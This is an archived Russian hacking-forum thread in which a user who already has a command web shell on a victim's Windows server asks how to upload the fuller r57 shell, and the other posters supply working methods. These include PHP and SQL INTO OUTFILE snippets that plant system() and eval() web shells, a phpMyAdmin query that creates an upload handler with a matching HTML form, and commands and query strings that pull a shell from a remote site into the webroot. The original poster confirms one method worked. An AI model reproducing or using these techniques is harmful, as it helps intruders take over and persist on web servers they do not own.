PDA

Просмотр полной версии : Способы заливки файлов


UpsPig
30.07.2008, 22:42
Есть shell.php?cmd= .
Хотел залить более менее удобный шелл типа r57.
Всё что пришло в голову:
1)Заливка через FTP с поднятием на своём компе сервера, но не смог пока разобраться с авторизацией в slimftpd.
2)Расшарить папку
3)И пробовал записать построчно через echo (добавляются слэши перед кавычками в итоге скрипт не пашет)
Может кто нибудь предложить другие способы?

n0ne
30.07.2008, 23:33
wget, curl, fetch

UpsPig
31.07.2008, 00:02
Сорри не уточнил.Дело происходит в винде

n0ne
31.07.2008, 00:23
Если есть возможность выполнить пхп - через fopen(), да и многими другими функциями можно. Я так понял - шелл ты сам залил? Раз залил шелл - залей инклюд или тот же fopen() -> fwrite()

з.ы. вот ещё почитай про работу с фтп через командную строку - ttp://www.winblog.ru/net/1147765001-08020803.html

UpsPig
31.07.2008, 15:53
инклюд нельзя (
Можно про fopen() и fwrite() поподробнее?
Я пхп совсем не знаю ((

n0ne
31.07.2008, 17:05
Попробуй через фтп вот так -


<?

// замени данные на свои
$host = "ftp.твой_фтп.ru"; // адрес твоего фтп
$port = 21; // порт, по дефолту он 21
$user = "login"; // логин
$passwrod = "password"; // пароль
$local_file = "/ftp/shell.php"; // файл на твоем фтп
$remote_file = "shell.php"; // файл на удаленной тачке
// дальше не трогай :)

$connect = ftp_connect($host, $port);
$done = ftp_login($connect, $user, $password);

if($done)
{
ftp_get($connect, $local_file, $remote_file, ftp_binary);
}
else
{
die();
}

?>


И не поленись прочесть вот это - ttp://www.winblog.ru/net/1147765001-08020803.html

heks
31.07.2008, 17:13
если есть какая либо база на сайте попробуй приконнектиться к ней с удаленного шела и уже через базу залить шел

CREATE TABLE temptab1(
codetab TEXT
) TYPE=MYISaM;

INSERT INTO temptab1(codetab)
VALUES(
'<pre><body bgcolor=silver><? @system($_REQUEST["v"]); ?></body></pre>'
);


into dumpfile
select * into outfile '/Library/WebServer/Documents/123.php' from temptab1; flush logs;
думаю разберешься что куда ставить

apollо
31.07.2008, 17:44
Попробуй так:

shell.php?cmd=get http://site/r57.txt > C:\путь_до_www\r57.php

(по дефолту в C:\AppServ\www\)

"http://site/r57.txt " - сайт на котором лежит исходник шела в txt формате... (если будет в php формате многие выражения понерфяться, что соответственно приведёт к неработоспособности шела, поэтому используй изначально txt)

UpsPig
31.07.2008, 19:23
apollо
"get" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
Я тоже об этом думал

UpsPig
31.07.2008, 19:24
heks
К сожалению нет.
bind-adress 127.0.0.1

UpsPig
31.07.2008, 19:40
n0ne
Если я правильно понял скрипт должен лежать на стороне жертвы.
Записать что то на черв можно только через shell.php <? system($_GET['cmd']); ?>, который я записал через phpmyadmin из-за того, что нельзя инклудить

apollо
31.07.2008, 19:56
n0ne
Если я правильно понял скрипт должен лежать на стороне жертвы.
Записать что то на черв можно только через shell.php <? system($_GET['cmd']); ?>, который я записал через phpmyadmin из-за того, что нельзя инклудить

Если шел получил через phpmyadmin, то попробуй залить тогда так:

сначала сделай запрос в phpmyadmin:

SELECT '<? move_uploaded_file($userfile, "C:/путь_до_www/name_shell.php"); ?>' into OUTFILE "C:/путь_до_www/uploadshell.php"

///// думаю понятно, что создасться файл uploadshell.php в директории www, который впоследствии и зальёт нам шел под именем name_shell.php


Далее создай простую форму примерно следующего содержания:


<FORM ENCTYPE="multipart/form-data" ACTION="http://site_hack/uploadshell.php" METHOD="POST">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="100000">
Ага, отправить вот этот файлик: <INPUT NAME="userfile" TYPE="file">
<INPUT TYPE="submit" VALUE="Send">
</FORM>


подправь только ACTION и всё....

Желаю удачи ;)

UpsPig
31.07.2008, 20:42
apollо
Зашибись сработало ))

fly
01.08.2008, 04:00
попробуй через phpmyadmin всунуть вот это <?php eval($_GET[cmd]);?> в файл test.php
затем

test.php?cmd=$f=fopen($_GET[r],$_GET[rr]);$o=fopen($_GET[o],$_GET[oo]);while(!feof($f)){$row=fgets($f);fputs($o,$row);}&rr=r&oo=w+&r=http://www.yoursite.com/shell.txt&o=shell.php

ой)ты уже и так справился!"